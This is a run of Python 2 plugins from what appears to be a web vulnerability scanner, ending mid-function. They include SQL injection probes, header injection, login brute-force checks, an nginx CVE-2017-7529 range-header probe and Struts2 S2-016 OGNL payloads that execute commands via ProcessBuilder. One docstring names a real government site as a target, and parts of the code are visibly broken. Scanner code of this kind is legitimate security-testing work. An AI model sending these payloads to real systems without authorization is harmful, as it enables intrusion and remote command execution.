def Get_Int_or_Str(self): #判断该注入为什么类型 sqli_type = '' try: # re,ce=self.http.request("%s%s"%(self.url,'%20AnD%201=2')) # re,ce=yx_httplib2_request(self.http,"%s%s"%(self.url,'%20AnD%201=2')) if re.has_key('status') and re['status'] != '404': getkey = self.getkey(ce) if getkey: r, c = self.http.request("%s%s" % (self.url, '%20AnD%201=1')) # r,c=yx_httplib2_request(self.http,"%s%s"%(self.url,'%20AnD%201=1')) if c.find(getkey) >= 0 and ce.find( getkey) < 0 and r.has_key( 'status') and r['status'] != '404': sqli_type = '1' return sqli_type #数字型 re1, ce1 = self.http.request("%s%s" % (self.url, '%27%20AnD%20%271=%272')) # re1,ce1=yx_httplib2_request(self.http,"%s%s"%(self.url,'%27%20AnD%20%271=%272')) if re1.has_key('status') and re1['status'] != '404': getkey = self.getkey(ce1) if getkey: r, c = self.http.request( "%s%s" % (self.url, '%27%20AnD%20%271%27=%271')) # r,c=yx_httplib2_request(self.http,"%s%s"%(self.url,'%27%20AnD%20%271%27=%271')) if c.find(getkey) >= 0 and ce.find( getkey) < 0 and r.has_key( 'status') and r['status'] != '404': sqli_type = '2' return sqli_type #字符型 except Exception, e: logger.error(" Enumeration_table.Get_Int_or_Str" + str(e)) return sqli_type #返回空
def run_domain(http, ob): result = [] try: frame = ob.get('siteType') if frame and frame in ['jsp', 'asp', 'aspx']: return [] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip result = [] inj_path_list = [ # url的值是文件名 'php168/mysql_config.php' + ' ' 然后做base64编码转换 """/do/vote.php?job=show&cid=%22%3E%3Ciframe%20src=http://www.yundun.com/""", ] for inj_path in inj_path_list: new_url = "%s://%s%s" % (scheme, domain, inj_path) res, content = http.request(new_url, 'GET', headers=header) if res and res.get('status') == '200' and re.search( r'YUNDUN|yundun', content): detail = "检测到PHP168 vote.php CSRF攻击漏洞" request = getRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) except Exception, e: logger.error( "File:PHP168DownLoadScript_yd.py, run_domain function :%s" % (str(e)))
def run_domain(http, ob): ''' 重写run_url函数,实现检测SQL注入的功能 有异常时,直接输出异常 无异常时,以list类型返回检测结果记录 靶站 http://www.zhangjiang.gov.cn ''' #重新组织请求的参数 # scanInfo = {} # scanInfo['siteId'] = config['siteId'] # scanInfo['ip'] = config['ip'] # scanInfo['scheme'] = config['scheme'] # scanInfo['domain'] = config['domain'] # scanInfo['level'] = config['level'] # scanInfo['vulId'] = config['vulId'] # headers = headerDictDefault # headers['cookie'] = config['cookie'] # headers['Host'] = scanInfo['domain'] # source_ip = config.get('source_ip') # if source_ip: # scanInfo['domain'] = source_ip # responseList = [] # try: # #使用单引号测试是否存在SQL报错,有则存在漏洞 # payload = "'" # urlBase = scanInfo['scheme'] + "://" + scanInfo['domain'] # url = urlBase # response = request(url=url, headers=headers, method="GET") # if response['httpcode'] == 200: # if json.dumps(response['response_headers']).find("x-aspnet-version"): # injectInfo = returnInjectResult(url=url, confirm=1, detail="响应头中 X-AspNet-Version 由Visual Studio使用,以确定哪些的 ASP.NET 版本正在使用中。生产环境应禁用此项", response=response) # responseList.append(getRecord2(scanInfo, injectInfo)) # return responseList # # except Exception,e: # logger.exception(e) # return responseList result_list = [] try: scheme = ob.get('scheme') domain = ob.get('domain') new_header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip new_url = "%s://%s/" % (scheme, domain) res, content = http.request(new_url, "HEAD", headers=new_header) aspnet_version = res.get('x-aspnet-version') if aspnet_version: detail = "响应头检测到x-aspnet-version字段,可能泄露敏感信息: %s" % aspnet_version request = getRequest(new_url, new_header, domain=ob['domain']) response = getResponse(res) result_list.append( getRecord(ob, new_url, ob['level'], detail, request, response, output="")) return result_list except Exception, e: logger.error( "File:check_header_X_AspNet_Version_yd.py, run_domain function :%s" % (str(e))) return []
def run_url(http, ob, item): header = { "Host": ob['domain'], "Connection": "keep-alive", "Pragma": "no-cache", "Cache-Control": "no-cache", "Referer": item['refer'], "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", # "Cookie": ob.get('cookie') } try: url = item['url'] params = item['params'] method = item['method'] timeout = ob.get('webTimeout') pattern = r'(login|sigin)' p_para = r'("type":\s*"password")' result = [] if not (re.search(pattern, url, re.I) or re.search(p_para, json.dumps(params), re.I)): pass elif re.search(r'(.js|.css)', url, re.I): pass else: url_parse = urlparse(url) scheme = url_parse.scheme domain = url_parse.netloc path = url_parse.path query = url_parse.query source_ip = ob.get('source_ip') if source_ip: domain = source_ip if query: new_url = "%s://%s%s?%s" % (scheme, domain, path, query) else: new_url = "%s://%s%s" % (scheme, domain, path) if params and 'POST' == method.upper(): # params_list = json.loads(params) inj_point, param_dict = param2dict(json.loads(params)) if inj_point: new_param_dict = deepcopy(param_dict) time_list = [] for length in [20, 200, 600]: pwd = gen_password(1, length) new_param_dict[inj_point] = pwd[0] r = requests.post(new_url, new_param_dict) time_list.append(r.elapsed.microseconds) if time_list[0] + 50000 < time_list[ 1] and time_list[1] + 50000 < time_list[2]: response = getResponse(r.headers) request = getRequest(new_url, domain=ob['domain']) detail = "存在使用超长密码登录攻击风险" result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) return result except Exception, e: logger.error("File:check_login_long_pwd_url.py, run_url function :%s" % (str(e))) return result
def run_url(http, ob, item): result = [] try: if item['params'] == '': return result #end if domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') url = urllib.unquote(item['url']) url_parse = urlparse.urlparse(url) scheme = url_parse.scheme domain = url_parse.netloc path = url_parse.path query = url_parse.query if source_ip: domain = source_ip if query: url = "%s://%s%s?%s" % (scheme, domain, path, query) else: url = "%s://%s%s" % (scheme, domain, path) _http = http if item['method'] == 'get': params_dict = dict( map( lambda s: s.split('=', 1) if len(s.split('=')) > 1 else [s[:s.find('=')], ''], item['params'].split('&'))) for row in params_dict: tmp = params_dict.copy() tmp[row] = '%%0d%%0a%s%%3a%s' % (_headerKey, _headerValue) new_url = "%s?%s" % (url, '&'.join( "%s=%s" % (k, v) for k, v in tmp.iteritems())) res, content = http.request(url, 'GET', headers=header) if (res.has_key(_headerKey) and res[_headerKey] == _headerValue) or headerInject( res, content): request = getRequest(new_url, domain=ob['domain']) response = getResponse(res) detail = "注入参数:" + row result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) #end if #end for elif item['method'] == 'post': params_list = json.read(item['params']) params = {} upload = False for row in params_list: if row['type'] == 'file': upload = True params[row['name']] = ('', '') else: params[row['name']] = row['value'] #end for if upload: for row in params: data, boundary = _encode_multipart(params, row, 1) headers = { 'Content-Type': 'multipart/form-data; boundary=%s' % boundary, 'Content-Length': str(len(data)), } res, content = _http.request(url, 'POST', data, headers=headers) if (res.has_key(_headerKey) and res[_headerKey] == _headerValue) or headerInject(res, content): request = postRequest(url, data=data, domain=ob['domain']) response = getResponse(res) detail = "注入参数:" + row result.append( getRecord(ob, url, ob['level'], detail, request, response)) #end if #end for else: for row in params: headers = { "Content-Type": "application/x-www-form-urlencoded" } tmp = params.copy() tmp[row] = '\r\n%s:%s' % (_headerKey, _headerValue) data = urllib.urlencode(tmp) res, content = _http.request(url, 'POST', data, headers=headers) if (res.has_key(_headerKey) and res[_headerKey] == _headerValue) or headerInject(res, content): request = postRequest(url, data=data, domain=ob['domain']) response = getResponse(res) detail = "注入参数:" + row result.append( getRecord(ob, url, ob['level'], detail, request, response)) #end if #end for #end if #end if return result except Exception, e: logger.error("File:HttpResponseSplit.py, run_url function :%s" % (str(e)))
def run_url(http,ob,item): result = [] detail="" domain=ob['domain'] try: isstart='0' tmp_url = urllib.unquote(item['url']) parse=urlparse.urlparse(tmp_url) path=parse.path path=path.lower() host_domain = domain if (path.find(".css")>=0 or path.find(".doc")>=0 or path.find(".txt")>=0 or path.find(".pdf")>=0 or path.find(".js")>=0) and path.find("jsp")<0: return result #end if url_parse = urlparse.urlparse(tmp_url) scheme = url_parse.scheme netloc = url_parse.netloc path = url_parse.path query = url_parse.query source_ip = ob.get('source_ip') if source_ip: netloc = source_ip if query: tmp_url = "%s://%s%s?%s" % (scheme, netloc, path, query) else: tmp_url = "%s://%s%s" % (scheme, netloc, path) if item['params']!='': url="%s?%s"%(tmp_url,item['params']) else: url=tmp_url headers={"Host":host_domain,"User-Agent":" Mozilla/5.0 (Windows NT 5.1; rv:14.0)\ Gecko/20100101 Firefox/14.0.1","Accept":" text/html,application/xhtml+xml,application/xml;q=0.9,\ */*;q=0.8","Accept-Language": "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3","Accept-Encoding":" gzip, \ deflate","Connection": "keep-alive","X-Forwarded-For": "231.23.233.2'"} headers1={"Host":host_domain,"User-Agent":" Mozilla/5.0 (Windows NT 5.1; rv:14.0)\ Gecko/20100101 Firefox/14.0.1","Accept":" text/html,application/xhtml+xml,application/xml;q=0.9,\ */*;q=0.8","Accept-Language": "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3","Accept-Encoding":" gzip, \ deflate","Connection": "keep-alive","X-Forwarded-For": "231.23.233.2"} if item['method']=='get': response,content=http.request(url,'GET','',headers) r,c=http.request(url,'GET','',headers1) res1,res2,res3 = GetDatabaseError(content) res11,res22,res33 = GetDatabaseError(c) if res1 and response.has_key('status') and response['status'] == '500' and res11 == False: request = getRequest(url,"GET",headers,"", domain=ob['domain']) response = getResponse(response) output = "发现数据库错误信息:%s" % (res3) result.append(getRecord(ob,url,ob['level'],detail,request,response,output)) #end if #end if if item['method']=='post': reject_key = ['__viewstate', 'ibtnenter.x', 'ibtnenter.y','password'] ret=[] par=json.read(item['params']) for i in par: if i and len(i.keys()) > 0: for k in i.keys(): if k == 'name': if i[k].lower() not in reject_key: ret.append(i[k]+"=1111") #end if #end if #end for #end if #end for post_data= "&".join(ret) r,c = http.request(url,'POST',post_data,headers1) response,content = http.request(url,'POST',post_data,headers) res1,res2,res3 = GetDatabaseError(content) res11,res22,res33 = GetDatabaseError(c) if res1 and response.has_key('status') and response['status'] == '500' and res11 == False: request = postRequest(url,"POST",headers,post_data, domain=ob['domain']) response = getResponse(response) output = "发现数据库错误信息:%s" % (res3) result.append(getRecord(ob,url,ob['level'],detail,request,response,output)) #end if #end if except Exception, e: logger.error("File:x-forwarded-for sqlinjectionscript.py, run_url function :" + str(e))
def run_url(http, ob, item): try: result = [] if item['method'] != 'get': return [] #end if url = item['url'] if item['params'] != '': url = "%s?%s" % (url, item['params']) #end if header = {'Host': ob['domain']} source_ip = ob.get('source_ip') if source_ip: domain = source_ip url_parse = urlparse(url) scheme = url_parse.scheme domain = url_parse.netloc path = url_parse.path query = url_parse.query if query: new_url = "%s://%s%s?%s" % (scheme, domain, path, query) else: new_url = "%s://%s%s" % (scheme, domain, path) detail = "检测到包含内部 IP 地址的响应。" res, content = http.request(new_url, headers=header) if res and res.has_key( 'status') and res['status'] == '200' and res.has_key( 'content-type' ) and res['content-type'] != '' and content != '' and ( content.find('10.') > 0 or content.find('172.') > 0 or content.find('192.168.') > 0): temp = content.replace("\r\n", "\n").split("\n") output = [] for row in temp: if row.find('10.') < 0 and row.find('172.') < 0 and row.find( '192.168.') < 0 and checkIpv6Inner(row) == False: continue else: if checkIpv6Inner(row): row = row.upper() match = re.findall( u"((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?", row, re.I) if match and len(match) > 0: if match and len(match): inner_ip = match[0][0] if inner_ip[:3] == 'FEC': if ob['domain'].find( inner_ip ) >= 0 or inner_ip == ob['ip']: continue if inner_ip in output: continue else: output.append(inner_ip) else: match = re.findall( r"[^0-9.](10|172|192)\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])[^0-9.]", row, re.I) if match and len(match) > 0: inner_ip = "%s.%s.%s.%s" % ( match[0][0], match[0][1], match[0][2], match[0][3]) if inner_ip == ob['domain'].split( ':')[0] or inner_ip == ob['ip']: continue #end if if inner_ip in output: continue else: output.append(inner_ip) #end if #end if #end if #end for if len(output) > 0: request = getRequest(url, domain=ob['domain']) response = getResponse(res, "\n".join(output)) result.append( getRecord(ob, new_url, ob['level'], detail, request, response, "\n".join(output))) #end if #end if return result except Exception, e: logger.error("File:CheckIpScript.py, run_url function :" + str(e)) return []
def run_url(http, ob, item): try: result = [] if item['method'] != 'get': return [] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') url = item['url'] url_parse = urlparse.urlparse(url) scheme = url_parse.scheme domain = url_parse.netloc path = url_parse.path query = url_parse.query if source_ip: domain = source_ip if query: url = "%s://%s%s?%s" % (scheme, domain, path, query) else: url = "%s://%s%s" % (scheme, domain, path) if url.find('.html') < 0 and url.find('.htm') < 0 and url.find( '.php') < 0 and url.find('.asp') < 0 and url.find( '.aspx') < 0 and url.find('.jsp') < 0 and url.find( '.do') < 0: return [] #end if params = item['params'] if params != "": url = "%s?%s" % (url, params) #end if detail = "发现HTML的注释信息,可能包含程序员的调试信息或者存在遗留的重要敏感信息。" res, content = http.request(url, 'GET', headers=header) request = getRequest(url, domain=ob['domain']) response = getResponse(res) if res and res.has_key( 'status') and res['status'] == '200' and content.find( "<!--") >= 0 and content.find("-->") >= 0: match = re.findall(r"<!--(\s*)(.+?)(\s*)-->", content, re.I | re.DOTALL) if match and len(match) > 0: for row in match: key = row[1] if key != "": m = re.findall( r"(\s+)(admin|username|password|passwd)(\s+)", key, re.I) if m and len(m) > 0: result.append( getRecord(ob, url, ob['level'], detail, request, response)) break #end if m = re.findall( r"(.+?)\.(asp|php|jsp|aspx|do|pl|txt|rar|zip|tar)", key, re.I) if m and len(m) > 0: result.append( getRecord(ob, url, ob['level'], detail, request, response)) break #end if m = re.findall(r"(\s+)(http|https|ftp):\/\/", key, re.I) if m and len(m) > 0: result.append( getRecord(ob, url, ob['level'], detail, request, response)) break #end if m = re.findall(r"(function|<%)", key, re.I) if m and len(m) > 0: result.append( getRecord(ob, url, ob['level'], detail, request, response)) break #end if m = re.findall(r"(\s+)([cdefgh]:\\)", key, re.I) if m and len(m) > 0: result.append( getRecord(ob, url, ob['level'], detail, request, response)) break #end if #end if #end for #end if #end if return result except Exception, e: logger.error("File:HtmlSourceLeakScript.py, run_url function :" + str(e)) return []
def run_url(http, ob, item): result = [] try: domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') url = item['url'] url = url.split('?')[0] url_parse = urlparse(url) scheme = url_parse.scheme domain = url_parse.netloc path = url_parse.path query = url_parse.query if source_ip: domain = source_ip if query: url = "%s://%s%s?%s" % (scheme, domain, path, query) else: url = "%s://%s%s" % (scheme, domain, path) local_path = urlparse(url).path path_tail = local_path.split('/')[-1] if not re_search('\.(do|action)', path_tail): return # 原始恶意请求,在发送请求之前会做urlencode original_payloads = [ """action:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'%s'})).start(), #b=a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000], #d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e), #matt.getWriter().flush(),#matt.getWriter().close()}""", """redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'%s'})).start(), #b=a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c), #e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'), #matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}""", """redirectAction:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'%s'})).start(), #b=a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c), #e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'), #matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}""" ] payload_list = [] random_str, ping_cmd_list = _cmd_poc() for original_payload in original_payloads: for ping_cmd in ping_cmd_list: payload = original_payload % ping_cmd payload_list.append(payload) # 转换#绕过安全检测 urlencode最后会做,这里不对#做urlencode list2 = [] # for value in payload_list: # for tamper in ["\\u0023","\\43"]: # new_value = value.replace("#", tamper) # list2.append(new_value) # 转换空格满足ongl语法限制 urlencode最后会做,这里不对空格做urlencode list3 = [] # for value in list2: # for tamper in ["+", "\\40"]: # new_value = value.replace(" ", tamper) # list3.append(new_value) inj_value_list = payload_list + list2 + list3 for inj_value in inj_value_list: inj_value = quote(inj_value, safe="=.()") new_url = '%s?%s' % (url, inj_value) res, content = http.request(new_url, 'GET', headers=header) if callback(random_str): detail = "检测到Struts2远程命令执行漏洞" request = getRequest(new_url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) break except Exception, e: logger.error("File:Struts2_S2_016Script_yd.py, run_url function :%s" % (str(e)))
def run_url(http, ob, item): header = { "Host": ob['domain'], "Connection": "keep-alive", "Pragma": "no-cache", "Cache-Control": "no-cache", "Referer": item['refer'], "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", # "Cookie": ob.get('cookie') } try: url = item['url'] params = item['params'] method = item['method'] timeout = ob.get('webTimeout') pattern = r'(login|sigin)' p_para = r'("type":\s*"password")' result = [] if not (re.search(pattern, url, re.I) or re.search(p_para, json.dumps(params), re.I)): pass elif re.search(r'(.js|.css)', url, re.I): pass else: url_parse = urlparse(url) scheme = url_parse.scheme netloc = url_parse.netloc path = url_parse.path query = url_parse.query source_ip = ob.get('source_ip') if source_ip: netloc = source_ip if query: new_url = "%s://%s%s?%s" % (scheme, netloc, path, query) else: new_url = "%s://%s%s" % (scheme, netloc, path) res, content = http.request(new_url, 'GET', headers=header) #pattern = r'.+(<input.*?(type="password"|type="text").*?){3}' #se = re.search(pattern, content, re.S | re.I) pattern1 = r'(<input.*?(type="text"))' pattern2 = r'(<input.*?(type="password"))' p1 = re.compile(pattern1) p2 = re.compile(pattern2) text_count = len(p1.findall(content)) pwd_count = len(p2.findall(content)) if pwd_count == 0: pass else: if text_count / pwd_count >= 2: pass else: response = getResponse(res, content) request = getRequest(new_url, domain=ob['domain']) detail = "登录页面未设置验证码校验" result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) return result except Exception, e: logger.error("File:check_login_script.py, run_url function :%s" % (str(e))) return result
def run_domain(http, ob): result = [] try: domain = ob['domain'] header = {'Host': domain} path = ob['path'] source_ip = ob.get('source_ip') if source_ip: domain = source_ip url = "%s://%s%s" % (ob['scheme'], domain, path) res, content = http.request(url, "GET", headers=header) if not res or res.get('status') != '200': return [] # 检测服务器是否为nginx代理服务器,版本是否过低 if res.get('cache-control') and res.get('server'): server = res.get('server') if re.search('nginx', server, re.I): version = re.search('[\d\.]+', server) if '0.5.6' < version < '1.13.2': detail = "nginx版本过低,可能存在缓存溢出漏洞" request = getRequest(url, domain=ob['domain']) response = getResponse(res, content) result.append( getRecord(ob, url, ob['level'], detail, request, response)) return result # 在首页拿到一个静态文件,如jpg、png、js、css ha = HtmlAnalyzer() urls = ha.extract_links(content) pic_file = '' for url in urls: if re.search('\.(jpg|png|js|css)', url, re.I): host = urlparse(url).netloc if host: if host in ob['domain'] or host in source_ip: pic_file = url break else: pic_file = "%s://%s%s" % (ob['scheme'], domain, url) break if not pic_file: return [] # 构造特殊的恶意请求 res1, content1 = http.request(pic_file, "GET", headers=header) if not res1 or not res1.get('content-length'): return [] file_length = res1.get('content-length') length_1 = -(623 + int(file_length)) length_2 = -9223372036854775808L - length_1 new_header = { 'Host': domain, 'Content-Range': 'bytes %s,%s' % (length_1, length_2) } res2, content2 = http.request(pic_file, 'GET', headers=new_header) if res2 and res2.get('status') == '200' and content2 != content1: detail = "检测到nginx缓存溢出漏洞" request = getRequest(pic_file, domain=ob['domain']) response = getResponse(res2, content2) result.append( getRecord(ob, pic_file, ob['level'], detail, request, response)) return result except Exception, e: logger.error( "File:CVE-2017-7529_nginx_sensitive_information_leakage.py, run_domain function :" + str(e)) return []
def run_url(http, ob, item): header = { "Host": ob['domain'], "Connection": "keep-alive", "Pragma": "no-cache", "Cache-Control": "no-cache", "Referer": item['refer'], "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", # "Cookie": ob.get('cookie') } result = [] try: path = item['url'] params = item['params'] method = item['method'] timeout = ob.get('webTimeout') pattern = r'(login|sigin)' p_para = r'("type":\s*"password")' result = [] if not (re.search(pattern, path, re.I) or re.search(p_para, json.dumps(params), re.I)): pass elif re.search(r'(.js|.css)', path, re.I): pass else: url_parse = urlparse(path) scheme = url_parse.scheme domain = url_parse.netloc path = url_parse.path query = url_parse.query source_ip = ob.get('source_ip') if source_ip: domain = source_ip if query: new_url = "%s://%s%s?%s" % (scheme, domain, path, query) else: new_url = "%s://%s%s" % (scheme, domain, path) if params and 'POST' == method.upper(): # params_list = json.loads(params) inj_point, param_dict = param2dict(json.loads(params)) if inj_point: params_str_list = inj_params(param_dict, inj_point, inj_value=gen_password(5)) status = 0 for body in params_str_list: res, content = http.request(new_url, 'POST', body=body, headers=header) status += int(res.get('status', 0)) time.sleep(1) if status == 1000 and re.search('(过多|频繁|次数|超过|冻结)', content): response = getResponse(res, content, keywords='(过多|频繁|次数|超过|冻结)') request = getRequest(path, 'POST', headers=header, body=body, domain=ob['domain']) detail = "登录页面存在密码猜测攻击风险" result.append( getRecord(ob, new_url, ob['level'], detail, request, response)) return result except Exception, e: logger.error( "File:check_login_pwd_guest_url.py, run_url function :%s" % (str(e))) return result
def run_inj(http, ob, item, payloads, inj_type=None): method = item.get('method') if not method: return [] method = method.lower() if method not in ['get', 'post']: return [] params = item.get('params') if not params: return [] url = item['url'] scheme = ob['scheme'] domain = ob['domain'] header = {'Host': domain} source_ip = ob.get('source_ip') if source_ip: domain = source_ip url_path = urlparse.urlparse(url).path result = [] try: # get 方法 if method.lower() == 'get': query_dict = query2dict(params) for k, v in query_dict.iteritems(): query_dict_cp = deepcopy(query_dict) payload_t, payload_f = payloads if v: query_dict_cp[k] = v + payload_t else: query_dict_cp[k] = '1' + payload_t query_t = dict2query(params_dict=query_dict_cp, isUrlEncode=True) if v: query_dict_cp[k] = v + payload_f else: query_dict_cp[k] = '1' + payload_f query_f = dict2query(params_dict=query_dict_cp, isUrlEncode=True) url_t = '%s://%s%s?%s' % (scheme, domain, url_path, query_t) url_f = '%s://%s%s?%s' % (scheme, domain, url_path, query_f) res_t, content_t = http.request(url=url_t, method='GET', headers=header) res_f, content_f = http.request(url=url_f, method='GET', headers=header) status_t = res_t.get('status', '0') status_f = res_f.get('status', '0') if "ERROR型" == inj_type: res_d, db_type_d, msg_d = check_db_error(content_t) # if res_d or (status_t == '500' and not page_similar(res_t.get('status'), content_t, ob.get('waf_page'))): if res_d: detail = "检测到 %s sql注入漏洞" % inj_type request = getRequest(url_t, domain=ob['domain']) response = getResponse(res_t, content_t) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, url_t, ob['level'], detail, request, response)) else: res_s, db_type_s, msg_s = check_db_error(content_f) # if res_s or (status_f == '500' and not page_similar(res_f.get('status'), content_f, ob.get('waf_page'))): if res_s: detail = "检测到 %s sql注入漏洞" % inj_type request = getRequest(url_f, domain=ob['domain']) response = getResponse(res_f, content_f) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, url_f, ob['level'], detail, request, response)) else: similar = check_page_similar(status1=status_t, content1=content_t, status2=status_f, content2=content_f) similar_waf = page_similar(status_t, content_t, ob.get('waf_page')) if not similar and not similar_waf: detail = "检测到 %s sql注入漏洞" % inj_type logger.error( "status_t:%s, status_f:%s, content_t:%s, content_f:%s" % (status_t, status_f, content_t, content_f)) request = getRequest(url_f, domain=ob['domain']) response = getResponse(res_f, content_f) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, url_f, ob['level'], detail, request, response)) # post 方法 else: query = urlparse.urlparse(url).query body = item.get('params') # query 部分注入,body不变 if query: body_str = '' if body: body_dict = db_params2dict(body) body_str = dict2query(params_dict=body_dict, isUrlEncode=True) query_dict = query2dict(query) for k, v in query_dict.iteritems(): query_dict_cp = deepcopy(query_dict) payload_t, payload_f = payloads if v: query_dict_cp[k] = v + payload_t else: query_dict_cp[k] = '1' + payload_t query_t = dict2query(params_dict=query_dict_cp, isUrlEncode=True) if v: query_dict_cp[k] = v + payload_f else: query_dict_cp[k] = '1' + payload_f query_f = dict2query(params_dict=query_dict_cp, isUrlEncode=True) url_t = '%s://%s%s?%s' % (scheme, domain, url_path, query_t) url_f = '%s://%s%s?%s' % (scheme, domain, url_path, query_f) res_t, content_t = http.request(url=url_t, method='POST', headers=header, body=body_str) res_f, content_f = http.request(url=url_f, method='POST', headers=header, body=body_str) status_t = res_t.get('status', '0') status_f = res_f.get('status', '0') if "ERROR型" == inj_type: res_d, db_type_d, msg_d = check_db_error(content_t) # if res_d or (status_t == '500' and not page_similar(res_t.get('status'), content_t, ob.get('waf_page'))): if res_d: detail = "检测到 %s sql注入漏洞" % inj_type request = postRequest(url_t, body=body_str, domain=ob['domain']) response = getResponse(res_t, content_t) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, url_t, ob['level'], detail, request, response)) else: res_s, db_type_s, msg_s = check_db_error(content_f) # if res_s or (status_f == '500' and not page_similar(res_f.get('status'), content_f, ob.get('waf_page'))): if res_s: detail = "检测到 %s sql注入漏洞" % inj_type request = postRequest(url_t, body=body_str, domain=ob['domain']) response = getResponse(res_f, content_f) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, url_f, ob['level'], detail, request, response)) else: similar = check_page_similar(status1=status_t, content1=content_t, status2=status_f, content2=content_f) similar_waf = page_similar(status_t, content_t, ob.get('waf_page')) if not similar and similar_waf: detail = "检测到 %s sql注入漏洞" % inj_type request = postRequest(url_t, body=body_str, domain=ob['domain']) response = getResponse(res_f, content_f) # logger.error("status_t:%s, status_f:%s, content_t:%s, content_f:%s" % ( # status_t, status_f, content_t, content_f)) result.append( getRecord(ob, url_f, ob['level'], detail, request, response)) # body部分注入,query不变 if body: params_dict = db_params2dict(body) for k, v in params_dict.iteritems(): params_dict_cp = deepcopy(params_dict) payload_t, payload_f = payloads if v: params_dict_cp[k] = v + payload_t else: params_dict_cp[k] = '1' + payload_t params_t = dict2query(params_dict=params_dict_cp, isUrlEncode=True) if v: params_dict_cp[k] = v + payload_f else: params_dict_cp[k] = '1' + payload_f params_f = dict2query(params_dict=params_dict_cp, isUrlEncode=True) new_url = '%s://%s%s?%s' % (scheme, domain, 